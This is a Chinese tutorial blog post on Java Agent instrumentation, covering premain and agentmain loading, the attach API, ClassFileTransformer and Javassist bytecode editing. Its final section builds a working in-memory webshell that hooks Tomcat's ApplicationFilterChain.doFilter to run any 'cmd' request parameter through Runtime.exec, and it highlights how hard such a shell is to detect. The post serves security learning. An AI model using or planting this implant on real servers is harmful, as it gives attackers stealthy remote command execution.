介绍
JDK1.5
开始,Java
新增了Instrumentation(Java Agent API)
和JVMTI(JVM Tool Interface)
功能,允许JVM
在加载某个class文件
之前对其字节码进行修改,同时也支持对已加载的class(类字节码)
进行重新加载(Retransform
)。
利用Java Agent
这一特性衍生出了APM(Application Performance Management,应用性能管理)
、RASP(Runtime application self-protection,运行时应用自我保护)
、IAST(Interactive Application Security Testing,交互式应用程序安全测试)
等相关产品,它们都无一例外的使用了Instrumentation/JVMTI
的API
来实现动态修改Java类字节码
并插入监控或检测代码。
JavaAgent其实也就是一个 Jar 包,只是启动方式和普通 Jar 包有所不同,对于普通的Jar包,通过指定类的 main 函数进行启动,但是 Java Agent 并不能单独启动,必须依附在一个 Java 应用程序运行。而它的启动方法共有两种,一种的方法是premain,一种是agentmain。
- jvm方式:实现 premain方法,在主函数执行前加载。// 当我们提供的 agent 属于基础必备服务时,可以用这种方式
- attach方法:实现 agentmain方法,在主函数执行后加载。// 我们的 agent 用来 debug 定位问题,就可以用这种方式
其中 jvm方式,也就是说要使用这个 agent 的目标应用,在启动的时候,需要指定 jvm 参数-javaagent:xxx.jar。
而当目标应用程序启动之后,没有添加 -javaagent 加载我们的 agent,但我们希望目标程序使用我们的 agent,这时候就可以使用 attach 方式来使用。
这两种运行方式的最大区别在于第一种方式只能在程序启动时指定Agent
文件,而attach
方式可以在Java程序
运行后根据进程ID
动态注入Agent
到JVM
。
特性
Java Agent和普通的Java类并没有任何区别,普通的Java程序中规定了main
方法为程序入口,而Java Agent则将premain
(Agent模式)和agentmain
(Attach模式)作为了Agent程序的入口,两者所接受的参数是完全一致的,如下:
public static void premain(String args, Instrumentation inst) {}
public static void agentmain(String args, Instrumentation inst) {}
Java Agent还限制了我们必须以jar包的形式运行或加载,我们必须将编写好的Agent程序打包成一个jar文件。除此之外,Java Agent还强制要求了所有的jar文件中必须包含/META-INF/MANIFEST.MF
文件,且该文件中必须定义好Premain-Class
(Agent模式)或Agent-Class:
(Agent模式)配置,如:
Premain-Class: com.anbai.sec.agent.CrackLicenseAgent
Agent-Class: com.anbai.sec.agent.CrackLicenseAgent
如果我们需要修改已经被JVM加载过的类的字节码,那么还需要设置在MANIFEST.MF
中添加Can-Retransform-Classes: true
或Can-Redefine-Classes: true
。
简单例子
- IDEA 作为编辑器
- maven 进行包管理
首先新建project
新建一个SimpleAgent类
public class SimpleAgent {
/**
* jvm 参数形式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("premain");
}
/**
* 动态 attach 方式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agentmain");
}
}
通过配置文件MANIFEST.MF
打包
- 在main/资源目录(Resources)下,新建目录
META-INF
- 在
META-INF
目录下,新建文件MANIFEST.MF
文件内容如下
Manifest-Version: 1.0
Premain-Class: com.agent.SimpleAgent
Agent-Class: com.agent.SimpleAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
请注意,最后的一个空行不能少,在 idea 中,删除最后一行时,会有错误提醒
然后我们的pom.xml
配置,需要作出对应的修改
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>Java_agent</groupId>
<artifactId>Java_agent</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
<!--<manifestEntries>-->
<!--<Premain-Class>com.git.hui.agent.SimpleAgent</Premain-Class>-->
<!--<Agent-Class>com.git.hui.agent.SimpleAgent</Agent-Class>-->
<!--<Can-Redefine-Classes>true</Can-Redefine-Classes>-->
<!--<Can-Retransform-Classes>true</Can-Retransform-Classes>-->
<!--</manifestEntries>-->
</archive>
</configuration>
<executions>
<execution>
<goals>
<goal>attached</goal>
</goals>
<phase>package</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
通过mvn assembly:assembly
命令打包
得到结果
再写一个测试类
public static void main(String[] args) throws InterruptedException {
int i =0;
while (true){
i += 2;
System.out.println("i: " + i);
Thread.sleep(1000);
}
}
jvm
IDEA 测试时,可以直接在配置类,添加 jvm 参数,如下
agent 绝对地址: -javaagent:*/java-agent-1.0-SNAPSHOT-jar-with-dependencies.jar
可以看到成功在main函数执行前加载执行了premain函数
这种方法存在一定的局限性——只能在启动时使用-javaagent
参数指定。在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。
attach
在使用 attach 方式时,可以简单的理解为要将我们的 agent 注入到目标的应用程序中,所以我们需要自己起一个程序来完成这件事情
package com.agent;
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AttachDemo {
public static void main(String[] args)
throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, IOException, AgentLoadException, AgentInitializationException {
VirtualMachine vm = VirtualMachine.attach("24840");
vm.loadAgent("D:\\Java_location\\Java_agent\\target\\Java_agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
}
}
注意:这里的tools包需要自己导入
VirtualMachine
VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用
Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
VirtualMachine vm = VirtualMachine.attach(v.id());
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:从 JVM 上面解除一个代理(agent)
上面的逻辑比较简单,首先通过jps -l
获取目标应用的进程号
- jps 命令类似与 linux 的 ps 命令,但是它只列出系统中所有的 Java 应用程序。 通过 jps 命令可以方便地查看 Java 进程的启动类、传入参数和 Java 虚拟机参数等信息。
修改进程id后运行AttachDemo后,可以看到循环中执行了一次agentmain函数,表明 agent 被成功注入进去
进阶
Instrumentation
Instrumentation
是JVMTIAgent
(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。
java.lang.instrument.Instrumentation
是监测运行在JVM
程序的Java API
,利用Instrumentation
我们可以实现如下功能:
- 动态添加或移除自定义的
ClassFileTransformer
(addTransformer/removeTransformer
),JVM会在类加载时调用Agent中注册的ClassFileTransformer
; - 动态修改
classpath
(appendToBootstrapClassLoaderSearch
、appendToSystemClassLoaderSearch
),将Agent程序添加到BootstrapClassLoader
和SystemClassLoaderSearch
(对应的是ClassLoader类的getSystemClassLoader方法
,默认是sun.misc.Launcher$AppClassLoader
)中搜索; - 动态获取所有
JVM
已加载的类(getAllLoadedClasses
); - 动态获取某个类加载器已实例化的所有类(
getInitiatedClasses
)。 - 重定义某个已加载的类的字节码(
redefineClasses
)。 - 动态设置
JNI
前缀(setNativeMethodPrefix
),可以实现Hook native方法。 - 重新加载某个已经被JVM加载过的类字节码
retransformClasses
)。
Instrumentation
类方法如下:
ClassFileTransformer
java.lang.instrument.ClassFileTransformer
是一个转换类文件的代理接口,我们可以在获取到Instrumentation
对象后通过addTransformer
方法添加自定义类文件转换器。
ClassFileTransformer类代码:
package java.lang.instrument;
public interface ClassFileTransformer {
/**
* 类文件转换方法,重写transform方法可获取到待加载的类相关信息
*
* @param loader 定义要转换的类加载器;如果是引导加载器,则为 null
* @param className 类名,如:java/lang/Runtime
* @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
* @param protectionDomain 要定义或重定义的类的保护域
* @param classfileBuffer 类文件格式的输入字节缓冲区(不得修改)
* @return 字节码byte数组。
*/
byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer);
}
简单了解一下:
- 使用
Instrumentation.addTransformer()
来加载一个转换器。 - 转换器的返回结果(
transform()
方法的返回值)将成为转换后的字节码。 - 对于没有加载的类,会使用
ClassLoader.defineClass()
定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()
重新定义,并配合Instrumentation.retransformClasses
进行转换。
其实就是对每个类(已经加载/没有加载)调用Instrumentation转换器,让其返回转换后的字节码,然后通过javassist修改class字节码
重写transform
方法需要注意以下事项:
ClassLoader
如果是被Bootstrap ClassLoader(引导类加载器)
所加载那么loader
参数的值是空。- 修改类字节码时需要特别注意插入的代码在对应的
ClassLoader
中可以正确的获取到,否则会报ClassNotFoundException
,比如修改java.io.FileInputStream(该类由Bootstrap ClassLoader加载)
时插入了我们检测代码,那么我们将必须保证FileInputStream
能够获取到我们的检测代码类。 JVM
类名的书写方式路径方式:java/lang/String
而不是我们常用的类名方式:java.lang.String
。- 类字节必须符合
JVM
校验要求,如果无法验证类字节码会导致JVM
崩溃或者VerifyError(类验证错误)
。 - 如果修改的是
retransform
类(修改已被JVM
加载的类),修改后的类字节码不得新增方法
、修改方法参数
、类成员变量
。 addTransformer
时如果没有传入retransform
参数(默认是false
)就算MANIFEST.MF
中配置了Can-Redefine-Classes: true
而且手动调用了retransformClasses
方法也一样无法retransform
。- 卸载
transform
时需要使用创建时的Instrumentation
实例。
简单实现
添加一个新的Transformer类
新建一个名为TestTransformer的类,内容入下:
package com.agent;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TestTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className.replace("/", "."));
return classfileBuffer;
}
}
重写了TestTransformer方法,返回值不变,打印出类名
添加之前的simple测试类中agentmain/premain函数内容
inst.addTransformer(new TestTransformer());
可以看到打印出了很多类的类名
由此可见,java agent还能有更多用法可以拓展,比如性能监控,日志监控、管理会话、安全过滤、请求管理等。
字节码操作
上面已经知道了java agent可以对每个类(已经加载/没有加载)调用Instrumentation转换器,让其返回转换后的字节码
那么我们只需要通过javassist/ASM修改class字节码就可以达到注入内存马的效果了
ASM
ASM是一种通用Java字节码操作和分析框架,它可以直接以二进制形式修改一个现有的类或动态生成类文件。ASM的版本更新快(ASM 9.0
已经支持JDK 16
)、性能高、功能全,学习成本也相对较高,ASM官方用户手册:ASM 4.0 A Java bytecode engineering library。
ASM相对于javassist更底层,javassist是asm的封装,效率也更高,但比较复杂,后续可能会专门写一篇文章来学习
javassist
javassist 简介
Javassist
是一个开源的分析、编辑和创建Java字节码的类库;相比ASM,Javassist
提供了更加简单便捷的API,使用Javassist
我们可以像写Java代码一样直接插入Java代码片段,让我们不再需要关注Java底层的字节码的和栈操作,仅需要学会如何使用Javassist
的API即可实现字节码编辑。学习Javassist
可以阅读官方的入门教程:Getting Started with Javassist。
我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。其实还有一种和反射一样强大的特性,但是开销却很低,它就是Javassist。
与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。 如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。 整个 API 只用 Java 语言的词汇来设计。 您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。 另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。
Javassist API和标识符
Javassist
为我们提供了类似于Java反射机制的API,如:CtClass,CtConstructor、CtMethod、CtField与Java反射的Class
、Constructor
、Method
、Field
非常的类似。
类 | 描述 |
---|---|
ClassPool | ClassPool是一个存储CtClass的容器,如果调用get 方法会搜索并创建一个表示该类的CtClass对象 |
CtClass | CtClass表示的是从ClassPool获取的类对象,可对该类就行读写编辑等操作 |
CtMethod | 可读写的类方法对象 |
CtConstructor | 可读写的类构造方法对象 |
CtField | 可读写的类成员变量对象 |
Javassist
使用了内置的标识符来表示一些特定的含义,如:$_
表示返回值。我们可以在动态插入类代码的时候使用这些特殊的标识符来表示对应的对象。
表达式 | 描述 |
---|---|
$0, $1, $2, ... | this 和方法参数 |
$args | Object[] 类型的参数数组 |
$$ | 所有的参数,如m($$) 等价于m($1,$2,...) |
$cflow(...) | cflow变量 |
$r | 返回类型,用于类型转换 |
$w | 包装类型,用于类型转换 |
$_ | 方法返回值 |
$sig | 方法签名,返回java.lang.Class[] 数组类型 |
$type | 返回值类型,java.lang.Class 类型 |
$class | 当前类,java.lang.Class 类型 |
想要系统的学习可以看官方教程
读取类/成员变量/方法信息
Javassist
读取类信息非常简单,使用ClassPool
对象获取到CtClass
对象后就可以像使用Java反射API一样去读取类信息了。
首先maven导入
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
</dependencies>
也可以官网下载jar包,导入module,library
http://www.javassist.org/
Student学生类实例
package com.agent;
import java.io.Serializable;
public class Student implements Serializable {
private String name;
private int age;
public String address;
public Student() {
}
private Student(String name){
this.name = name;
}
Student(String name ,int age){
this.name = name;
this.age = age;
}
public Student(String name,int age,String address){
this.name = name;
this.age = age;
this.address = address;
}
private void function(){
System.out.println("function");
}
public void method1(){
System.out.println("method");
}
public void method2(String s){
System.out.println("method" + s);
}
public String method3(String s,int i){
return s + "," + i;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", address='" + address + '\'' +
'}';
}
}
Javassist读取类信息示例代码:
package com.agent;
import javassist.*;
import java.util.Arrays;
public class JavassistDemo1 {
public static void main(String[] args) {
// 创建ClassPool对象
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.get("com.agent.Student");
System.out.println(
"解析类名:" + ctClass.getName() + ",父类:" + ctClass.getSuperclass().getName() +
",实现接口:" + Arrays.toString(ctClass.getInterfaces())
);
System.out.println("-----------------------------------------------------------------------------");
// 获取所有的构造方法
CtConstructor[] ctConstructors = ctClass.getDeclaredConstructors();
// 获取所有的成员变量
CtField[] ctFields = ctClass.getDeclaredFields();
// 获取所有的成员方法
CtMethod[] ctMethods = ctClass.getDeclaredMethods();
// 输出所有的构造方法
for (CtConstructor ctConstructor : ctConstructors) {
System.out.println(ctConstructor.getMethodInfo());
}
System.out.println("-----------------------------------------------------------------------------");
// 输出所有成员变量
for (CtField ctField : ctFields) {
System.out.println(ctField);
}
System.out.println("-----------------------------------------------------------------------------");
// 输出所有的成员方法
for (CtMethod ctMethod : ctMethods) {
System.out.println(ctMethod);
}
} catch (NotFoundException e) {
e.printStackTrace();
}
}
}
程序执行结果:
解析类名:com.agent.Student,父类:java.lang.Object,实现接口:[javassist.CtClassType@7530d0a[public abstract interface class java.io.Serializable fields= constructors= methods=]]
-----------------------------------------------------------------------------
<init> ()V
<init> (Ljava/lang/String;)V
<init> (Ljava/lang/String;I)V
<init> (Ljava/lang/String;ILjava/lang/String;)V
-----------------------------------------------------------------------------
com.agent.Student.name:Ljava/lang/String;
com.agent.Student.age:I
com.agent.Student.address:Ljava/lang/String;
-----------------------------------------------------------------------------
javassist.CtMethod@fc41e2d9[private function ()V]
javassist.CtMethod@cd0f3471[public method1 ()V]
javassist.CtMethod@bcf01e28[public method2 (Ljava/lang/String;)V]
javassist.CtMethod@67996580[public method3 (Ljava/lang/String;I)Ljava/lang/String;]
javassist.CtMethod@69cb6c6d[public toString ()Ljava/lang/String;]
修改类方法
Javassist
实现类方法修改只需要调用CtMethod
类的对应的API就可以了。CtMethod
提供了类方法修改的API,如:setModifiers
可修改类的访问修饰符,insertBefore
和insertAfter
能够实现在类方法执行的前后插入任意的Java代码片段,setBody
可以修改整个方法的代码等。
Javassist修改类方法示例代码:
package com.agent;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;
import org.apache.commons.io.FileUtils;
import java.io.File;
public class JavassistDemo2 {
public static void main(String[] args) {
// 创建ClassPool对象
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.get("com.agent.Student");
// 获取method3方法
CtMethod helloMethod = ctClass.getDeclaredMethod("method3");
// 修改方法的访问权限为private
helloMethod.setModifiers(Modifier.PRIVATE);
// 添加方法内容到最前,打印方法的第一个参数值
helloMethod.insertBefore("System.out.println($1);");
// 添加方法内容到最后,打印方法的返回值并返回Return:返回值
helloMethod.insertAfter("System.out.println($_); return \"Return:\" + $_;");
File classFilePath = new File(new File(System.getProperty("user.dir"), "test"), "Test.class");
// 使用类CtClass,生成类二进制
byte[] bytes = ctClass.toBytecode();
// 将class二进制内容写入到类文件
FileUtils.writeByteArrayToFile(classFilePath, bytes);
} catch (Exception e) {
e.printStackTrace();
}
}
}
生成Test.class文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.agent;
import java.io.Serializable;
public class Student implements Serializable {
private String name;
private int age;
public String address;
public Student() {
}
private Student(String name) {
this.name = name;
}
Student(String name, int age) {
this.name = name;
this.age = age;
}
public Student(String name, int age, String address) {
this.name = name;
this.age = age;
this.address = address;
}
private void function() {
System.out.println("function");
}
public void method1() {
System.out.println("method");
}
public void method2(String s) {
System.out.println("method" + s);
}
private String method3(String s, int i) {
System.out.println(s);
String var4 = s + "," + i;
System.out.println(var4);
return "Return:" + var4;
}
public String toString() {
return "Student{name='" + this.name + '\'' + ", age=" + this.age + ", address='" + this.address + '\'' + '}';
}
}
创建Java类二进制
假设我们需要生成一个JavassistHelloWorld
类,代码如下:
package com.agent;
public class JavassistHelloWorld {
private static String content = "Hello world~";
public static void main(String[] args) {
System.out.println(content);
}
}
使用Javassist生成类字节码示例:
package com.agent;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import java.io.File;
public class JavassistDemo3 {
public static void main(String[] args) {
// 创建ClassPool对象
ClassPool classPool = ClassPool.getDefault();
// 使用ClassPool创建一个JavassistHelloWorld类
CtClass ctClass = classPool.makeClass("com.agent.JavassistHelloWorld");
try {
// 创建类成员变量content
CtField ctField = CtField.make("private static String content = \"Hello world~\";", ctClass);
// 将成员变量添加到ctClass对象中
ctClass.addField(ctField);
// 创建一个主方法并输出content对象值
CtMethod ctMethod = CtMethod.make(
"public static void main(String[] args) {System.out.println(content);}", ctClass
);
// 将成员方法添加到ctClass对象中
ctClass.addMethod(ctMethod);
File classFilePath = new File(new File(System.getProperty("user.dir"), "test"), "JavassistHelloWorld.class");
// 使用类CtClass,生成类二进制
byte[] bytes = ctClass.toBytecode();
// 将class二进制内容写入到类文件
FileUtils.writeByteArrayToFile(classFilePath, bytes);
} catch (Exception e) {
e.printStackTrace();
}
}
}
生成的JavassistHelloWorld.class
package com.agent;
public class JavassistHelloWorld {
private static String content = "Hello world~";
public static void main(String[] var0) {
System.out.println(content);
}
public JavassistHelloWorld() {
}
}
内存马
已知在tomcat下注册内存马的方式很多
- 动态注册servlet
- 动态注册filter
- 动态注册listener
但是我们常用的webshell管理工具冰蝎/哥斯拉往往都是通过Java agent拦截修改关键类字节码实现内存shell
该方式不会生成新的Servlet,Filter,Listener对象,因此隐蔽性更强。
唯一美中不足的是,需要生成Agent文件落地,有可能会被IDS文件检测检测到Agent。
为什么?
- 通过拦截修改关键类的字节码,只需要寻找到关键类做处理即可,进而最大程度实现一套代码通用(理论上)。
怎么利用agent实现内存马?
-
由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马
-
利用JavaAgent的agentmain方法在Instrumentation转换器的过程中通过javassist修改class字节码
简单原理
接下来我们来做一个简单的内存马原理实验。
首先我们写一个程序,在执行方法后等待输入,当我们注入JavaAgent后在进行重新执行。
MemshellDemo1.java
package com.agent;
import java.util.Scanner;
public class MemshellDemo1 {
public static void main(String[] args) {
while (true){
Hello h1 = new Hello();
h1.test();
Scanner sc = new Scanner(System.in);
sc.next();
}
}
}
Hello.java
package com.agent;
public class Hello {
public void test() {
System.out.println("lyy9");
}
}
接下来我们开始写JavaAgent
修改之前的agentmain和premain函数,先获取所有已经加载的类,然后做一个循环判断类是否已经加载,之后添加Transformer,然后在通过retransformClasses触发过滤已加载的类。
JavassistTest.java(agentmain)
package com.agent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class SimpleAgent {
/**
* jvm 参数形式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("premain");
inst.addTransformer(new TransformerDemo1());
}
/**
* 动态 AttachDemo 方式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
System.out.println("agentmain");
Class[] classes = inst.getAllLoadedClasses();
// 判断类是否已经加载
for (Class aClass : classes) {
if (aClass.getName().equals(TransformerDemo1.editClassName)) {
// 添加 Transformer
inst.addTransformer(new TransformerDemo1(), true);
// 触发 Transformer
inst.retransformClasses(aClass);
}
}
}
}
我们的修改TransformerTransformerDemo1.java
package com.agent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TransformerDemo1 implements ClassFileTransformer {
public static final String editClassName = "com.agent.Hello";
public static final String editMethod = "test";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//使用 JVM 的类搜索路径
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null) {
//如果存在重定义的类,添加额外的类搜索路径
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
}
//获取我们需要的Class对象
CtClass ctc = cp.get(editClassName);
//获取我们需要的Method对象
CtMethod method = ctc.getDeclaredMethod(editMethod);
String source = "{System.out.println(\"hello lyy9,this is test!\");}";
//setBody:设置方法体
//insertBefore:插入在方法体最前面
//insertAfter:插入在方法体最后面
//insertAt:在方法体的某一行插入内容
method.setBody(source);
//获得修改过的类文件
byte[] bytes = ctc.toBytecode();
ctc.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
return null;
}
}
重新打包,然后运行MemshellDemo1,正常获取
在通过jps获得进程号利用attach方法修改
package com.agent;
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AttachDemo {
public static void main(String[] args)
throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, IOException, AgentLoadException, AgentInitializationException {
VirtualMachine vm = VirtualMachine.attach("18588");
vm.loadAgent("D:\\Java_location\\Java_agent\\target\\Java_agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
}
}
成功attach,再次输入,方法内容被修改
实战实现
现在的问题?
- 修改哪个关键类的字节码?
对于第一个问题,其实之前分析过tomcat下的Fliter内存马
知道当请求到达Servlet之前,一定会经过 Filter ,以此来对我们的请求进行过滤,其中存在一个关键函doFilter
org.apache.catalina.core.ApplicationFilterChain#doFilter
doFilter 函数作用是依次调用 Filter 链上的 Filter,所以 doFilter 函数是一定会被调用的
该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回
SimpleAgent.java
package agent.memshell;
import java.lang.instrument.Instrumentation;
public class SimpleAgent {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new MyTransformer(), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(new Class[]{clazz});
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
public static void premain(String args, Instrumentation inst) throws Exception {
}
}
MyTransformer.java
package agent.memshell;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace('/', '.');
if (className.equals(ClassName)) {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
CtClass cc;
try {
cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
" javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"Process process = Runtime.getRuntime().exec(cmd);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n" +
"}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (NotFoundException | IOException | CannotCompileException e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
pom.xml
使用maven-assembly-plugin将依赖内容也一起打包
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>java_agent_memshell</groupId>
<artifactId>java_agent_memshell</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>7</source>
<target>7</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
<executions>
<execution>
<goals>
<goal>attached</goal>
</goals>
<phase>package</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
assembly:assembly打包处jar包
这只是一个简单的demo实现,想要拿到真实环境利用还要完善很多步骤,这里不再深入,如果以后要学agent内存马会在另起一篇文章。
总结
简单来说,java agent是一种特性,使用两种不同的方式,都可以实现对应用程序的动态hook,利用 Instrumentation 做到完全无侵入,通过这种特性发展出了很多新型技术和产品。例:IAST和RASP